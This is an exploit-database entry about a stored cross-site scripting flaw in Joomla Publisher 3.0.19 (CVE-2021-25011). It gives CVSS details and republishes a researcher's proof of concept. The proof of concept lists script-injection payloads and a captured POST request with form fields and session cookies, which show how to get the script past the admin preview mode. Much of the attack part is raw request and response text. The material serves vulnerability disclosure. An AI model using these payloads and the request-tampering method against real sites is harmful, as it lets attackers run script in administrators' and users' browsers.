Exploitalert - Database of Exploits

Joomla Publisher V 3.0.19 Stored XSS

CVE	Category	Price	Severity
CVE-2021-25011	CWE-79	$500	High

Author	Risk	Exploitation Type	Date
ExploitAlert Team	High	Remote	2020-11-04

CPE
cpe:Not provided on the source page

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2020110017

Joomla Publisher V 3.0.19 Stored XSS

# Exploit Title: Joomla Publisher V 3.0.19 Stored XSS # Date: 03.11.2020 # Author: Vincent666 ibn Winnie # Software Link: https://publisher.ijoomla.com/demo # Tested on: Windows 10 # Web Browser: Mozilla Firefox # Blog : https://pentest.vincent.blogspot.com/ # PoC: https://pentestvincent.blogspot.com/2020/11/joomla-publisher-v-3019-stored-xss.html Poc: We have stored xss and stored html injection in Publisher v 3.0.19. I put there is one interesting method in the body "Article" with Method Post. Create article and put simple xss code : ""> <script>alert("Hello") </script> And click "submit article". XSS code is works.. https://ijoomlademo.com/administrator/index.php?option=com_publisher&controller=articles https://imgur.com/a/ylpLcJV https://imgur.com/a/XHNHp4c But it doesn't work in preview mode. https://imgur.com/a/1BG07Mn The administrator can check articles in preview mode. What do we do? Let's use the addon in the firefox "HTTP Live Headers" and change our article with the Post Method. ""><script>alert("Hello")</script><body background="https://pbs.twimg.com/media/D_dG89lXkAAU8P4.png"> Open Http Live Headers, Edit Article, Save this and Change Post Request and send this. https://imgur.com/a/ogpYEGf Let's see what we have in preview mode. https://imgur.com/a/QvQZNNw https://imgur.com/a/Vzjxfpd .................................................................................. https://ijoomlademo.com/index.php/publisher/my-articles/articlesedit/core_joomla/32 Host: ijoomlademo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 341 Origin: https://ijoomlademo.com Connection: keep-alive Referer: https://ijoomlademo.com/index.php/publisher/my-articles/articlesedit/core_joomla/32 Cookie: __cfduid=dbbb4e38c58b733c11296ba0adf86aee61604442214; c1095a90cabfb304b8e3637676e86d5a=91ionv40vq50bcapv23954o6kn; 4681557252fe8ff3df4a28d60cb41dc7=lpulqnuggmo1p7cs806stm6t5s; joomla_user_state=logged_in; currentURI=https%3A%2F%2Fijoomlademo.com%2Findex.php%3Foption%3Dcom_community%26view%3Dfriends%26task%3DajaxAutocomplete%26allfriends%3D1 Upgrade-Insecure-Requests: 1 title=test&heading=test&cat_id=8&content=<p>""><script>alert("Hello")</script><br></p>&id=32&controller=articlesedit&option=com_publisher&editor_name=&task=store&authid=231&media=&type=core_joomla&article_id=28&mandatory_status=approved&article_status=1&edit_a=1&edit_s=approved POST: HTTP/2.0 303 See Other date: Tue, 03 Nov 2020 22:32:40 GMT content-type: text/html; charset=utf-8 x-powered-by: PHP/7.2.33 p3p: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" location: /index.php/publisher/my-articles/articlesedit/32 expires: Wed, 17 Aug 2005 00:00:00 GMT last-modified: Tue, 03 Nov 2020 22:32:40 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache cf-cache-status: DYNAMIC cf-request-id: 0631d6bb1e00000057b093c000000001 expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=4BKJ9XaQXZogqrRC4jLDlbWNJ3lklLos6kkmngfBver4wHRDvpbqrVk89c6FtvKZHPe8wAmywNqRUdxp2zDfVbi9ajV4PStFG5DOdB7MvvA%3D"}],"group":"cf-nel","max_age":604800} nel: {"report_to":"cf-nel","max_age":604800} server: cloudflare cf-ray: 5ec98d71cf160057-DME X-Firefox-Spdy: h2 ..................................................................................

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